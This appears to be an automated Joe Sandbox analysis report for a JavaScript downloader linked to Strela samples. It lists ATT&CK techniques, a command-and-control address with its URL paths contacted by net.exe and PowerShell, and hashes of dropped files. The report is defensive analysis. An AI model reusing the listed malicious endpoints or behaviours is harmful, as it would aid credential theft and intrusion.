Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
16847122831539518647.js	5%	Virustotal		Browse
16847122831539518647.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/temHu	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/JM	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
15.164.165.52.in-addr.arpa	unknown	unknown	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/temHu	net.exe, 00000007.00000002.2261445063.000001CFB23B8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3497392151.000001BD8EC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2267246743.000001BD8EE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/JM	net.exe, 00000007.00000003.2261189393.000001CFB23F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2261514113.000001CFB23F0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2261445063.000001CFB23B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2261514113.000001CFB23F0000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588099
Start date and time:	2025-01-10 21:22:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	16847122831539518647.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 40.126.31.71, 40.126.31.67, 40.126.31.69, 20.190.159.68, 20.190.159.0, 20.190.159.71, 20.190.159.4, 20.190.159.75, 184.28.88.176, 34.237.241.83, 50.16.47.176, 54.224.241.105, 18.213.11.84, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.22.41.97, 20.109.210.53, 104.126.112.182, 52.165.164.15, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ocsp.digicert.com, login.live.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, p13n.adobe.io, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:23:54	API Interceptor	24x Sleep call for process: powershell.exe modified
15:23:58	API Interceptor	1x Sleep call for process: net.exe modified
15:23:58	API Interceptor	2x Sleep call for process: svchost.exe modified
15:24:06	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307213311437447
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugR:gJjJGtpTq2yv1AuNZRY3diu8iBVqFf
MD5:	C57616CFE92F8C236526D0DFD5E25F0C
SHA1:	3DEEC2EC32E2CDCB105450A5C3FE623573BA9FF0
SHA-256:	3DDBDE0F524C63912CB379857FF3740EF0EBC85A059BFCDBF5BD9F72E15490CD
SHA-512:	32665E7ACE914CBDB6780C196EB41CAD50D2FAA53327799C6C21ADFE4EEB717EE579D58D4E44D172EE4CA58A257CB444EB37C292D1E61928DF09DA77A8DE5A4A
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3a1dcc40, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586026070904253
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	0B020BA25A1EC9CEC56C462D68AB52CB
SHA1:	DA62EBE755D3C165224EF622C38636997C919274
SHA-256:	BDF5762441214E6D169C81F2FC73AF6FCBA160FA0918C5D8F76C92EB4D3F9D3E
SHA-512:	910293C74231C879B0F3A272A1DB511D931F00A6AA3B5AC14FB7B2A7B6922865CDB747423DE0316C77913791A5C743984F17D755D501A2C5E135FC37282034FC
Malicious:	false
Preview:	:..@... ...............X\...;...{......................0.z..........{..:....}].h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................R...:....}w..................".$:....}]..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08118469093471575
Encrypted:	false
SSDEEP:	3:tllEYeoMksk5ekGuAJkhvekl12YDs/lAllrekGltll/SPj:tlyzBitrxlgl/lAJe3l
MD5:	09DA76545801671C0BA227194FABDAEB
SHA1:	3B346AFF89DA69EEB5615691D8DB7B9B9BC900E6
SHA-256:	5673AE9ECC9A83169DD6531522C6AE877EF55B3463DB81672BC391705DFC6BC5
SHA-512:	5ACD085C89FF7C8E23C0878DB19186B5B13B83915F100396F92E3085246AF2B7BF30DE30F5753310C284453CC3B1DAF9A51A66843201716C7006B481BC54C0E7
Malicious:	false
Preview:	z.......................................;...{..:....}]......{...............{.......{...XL......{...................".$:....}].........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.211077644050999
Encrypted:	false
SSDEEP:	6:iO4SsJUlyq2P92nKuAl9OmbnIFUtSSK7z1ZmwsSK7lRkwO92nKuAl9OmbjLJ:7Ov4HAahFUtIz1/iz5LHAaSJ
MD5:	B4DFE04E703F8B6A140704E10486D5F4
SHA1:	14770ACB5A1AA490243EAAD87A4FEE1D12DA0F82
SHA-256:	B75CB7E015C95FE8DC13E24FB2D6AE69B24728429CC8890D2CE174394FEE022E
SHA-512:	0805491F5B297CA40A0FF7BB812DED9B41ECDE92CD1F291ACD43A52DCCB4F20FBB6EA34DE4DB8C4D1225E8C9363F5AA4CFE1A14BD6037C3C8A332ED230B19D84
Malicious:	false
Preview:	2025/01/10-15:23:58.746 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:23:58.749 1ca0 Recovering log #3.2025/01/10-15:23:58.749 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.211077644050999
Encrypted:	false
SSDEEP:	6:iO4SsJUlyq2P92nKuAl9OmbnIFUtSSK7z1ZmwsSK7lRkwO92nKuAl9OmbjLJ:7Ov4HAahFUtIz1/iz5LHAaSJ
MD5:	B4DFE04E703F8B6A140704E10486D5F4
SHA1:	14770ACB5A1AA490243EAAD87A4FEE1D12DA0F82
SHA-256:	B75CB7E015C95FE8DC13E24FB2D6AE69B24728429CC8890D2CE174394FEE022E
SHA-512:	0805491F5B297CA40A0FF7BB812DED9B41ECDE92CD1F291ACD43A52DCCB4F20FBB6EA34DE4DB8C4D1225E8C9363F5AA4CFE1A14BD6037C3C8A332ED230B19D84
Malicious:	false
Preview:	2025/01/10-15:23:58.746 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:23:58.749 1ca0 Recovering log #3.2025/01/10-15:23:58.749 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.148333163034048
Encrypted:	false
SSDEEP:	6:iO4Srvq2P92nKuAl9Ombzo2jMGIFUtSStuiZmwsSwkwO92nKuAl9Ombzo2jMmLJ:7rv4HAa8uFUtmi/05LHAa8RJ
MD5:	3662FC56B657D0C06C46398DE299DB15
SHA1:	4F2F71391EFCEAB107AE152C566A8BE4442546C0
SHA-256:	E212AC250C8478DC95BC19191D0960103466E20B3DE39C414CB3FCA6C7FE45CD
SHA-512:	C823963E3264C416D6EA63938E68E9E2A3EA71621AB42CE31AC38304808C6A6ECD9FA57AADC752F69732FC503F5A1B5CB3A548CA6D87094794CF421E9A82DBDD
Malicious:	false
Preview:	2025/01/10-15:23:58.803 1da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:23:58.804 1da4 Recovering log #3.2025/01/10-15:23:58.805 1da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.148333163034048
Encrypted:	false
SSDEEP:	6:iO4Srvq2P92nKuAl9Ombzo2jMGIFUtSStuiZmwsSwkwO92nKuAl9Ombzo2jMmLJ:7rv4HAa8uFUtmi/05LHAa8RJ
MD5:	3662FC56B657D0C06C46398DE299DB15
SHA1:	4F2F71391EFCEAB107AE152C566A8BE4442546C0
SHA-256:	E212AC250C8478DC95BC19191D0960103466E20B3DE39C414CB3FCA6C7FE45CD
SHA-512:	C823963E3264C416D6EA63938E68E9E2A3EA71621AB42CE31AC38304808C6A6ECD9FA57AADC752F69732FC503F5A1B5CB3A548CA6D87094794CF421E9A82DBDD
Malicious:	false
Preview:	2025/01/10-15:23:58.803 1da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:23:58.804 1da4 Recovering log #3.2025/01/10-15:23:58.805 1da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\854fd610-7c59-4b08-8526-970b910ea10b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8df8af63-a86e-4a33-9c39-af991f42cd01.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0620784004978825
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgssBdOg2HSZcaq3QYiubxnP7E4TfF+:Y2sRdsHRdMH33QYhbxP7np+
MD5:	2C81F9B9E857B705EC76A5D066B48945
SHA1:	00BA772FBCDFEC6AA84CD0C04E9FE85B78663556
SHA-256:	E8A80366330B0E16C8E6BEDD68B4E596512A20D1589E3F230787116BFD72D077
SHA-512:	04940864A0A5EA390BAF9FE68701146A050BB1D32AE042D298F50ABE8D6F66ACF3CB2674D91D8AA8D216D149A93613398FAA4BCD419698CE54519E816E2800FE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100650277768","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138956},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF48efc0.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2308909336283085
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU8InmH:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLl
MD5:	697FDE79F3BC514F1D30D523D9F30C10
SHA1:	6805A4DFF6720EBF7929768DA13AEA2A4895EB89
SHA-256:	226A6F28140FD339390ABB06A76AF7A936621CDCEC79349F3B300C8E44975788
SHA-512:	C2C4DFD234108075AD33F535F12AC9C5DF9D622ACB1D57950D5B30CB5C28E2D027CBD36568CBD1048A5C235D72282B0C0A79C6FC7FD32123AB089C6312056FF7
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.166943950505109
Encrypted:	false
SSDEEP:	6:iO4S+vOq2P92nKuAl9OmbzNMxIFUtSS+rdFfZmwsS+dkwO92nKuAl9OmbzNMFLJ:7+2v4HAa8jFUtsJFf/yd5LHAa84J
MD5:	3BCD3BEB339385AB8CA6B6A568448FF7
SHA1:	84B48C3C70B63B826794D4A3704DC81C95F3FD64
SHA-256:	7888D335A6EFCD3FE49B338DF3B157C2EB807BDBC795BA8E096EE93A69528B50
SHA-512:	341DD7A2DFA0F9C40BF99EBA584403D778A5B87E423637AB5B25369E235D82530F4B5DF7ADB706C22FF24BEC46F4FDE8A5FD432FA6A0598F9F1DC80957A35D96
Malicious:	false
Preview:	2025/01/10-15:23:59.215 1da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:23:59.228 1da4 Recovering log #3.2025/01/10-15:23:59.233 1da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.166943950505109
Encrypted:	false
SSDEEP:	6:iO4S+vOq2P92nKuAl9OmbzNMxIFUtSS+rdFfZmwsS+dkwO92nKuAl9OmbzNMFLJ:7+2v4HAa8jFUtsJFf/yd5LHAa84J
MD5:	3BCD3BEB339385AB8CA6B6A568448FF7
SHA1:	84B48C3C70B63B826794D4A3704DC81C95F3FD64
SHA-256:	7888D335A6EFCD3FE49B338DF3B157C2EB807BDBC795BA8E096EE93A69528B50
SHA-512:	341DD7A2DFA0F9C40BF99EBA584403D778A5B87E423637AB5B25369E235D82530F4B5DF7ADB706C22FF24BEC46F4FDE8A5FD432FA6A0598F9F1DC80957A35D96
Malicious:	false
Preview:	2025/01/10-15:23:59.215 1da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:23:59.228 1da4 Recovering log #3.2025/01/10-15:23:59.233 1da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
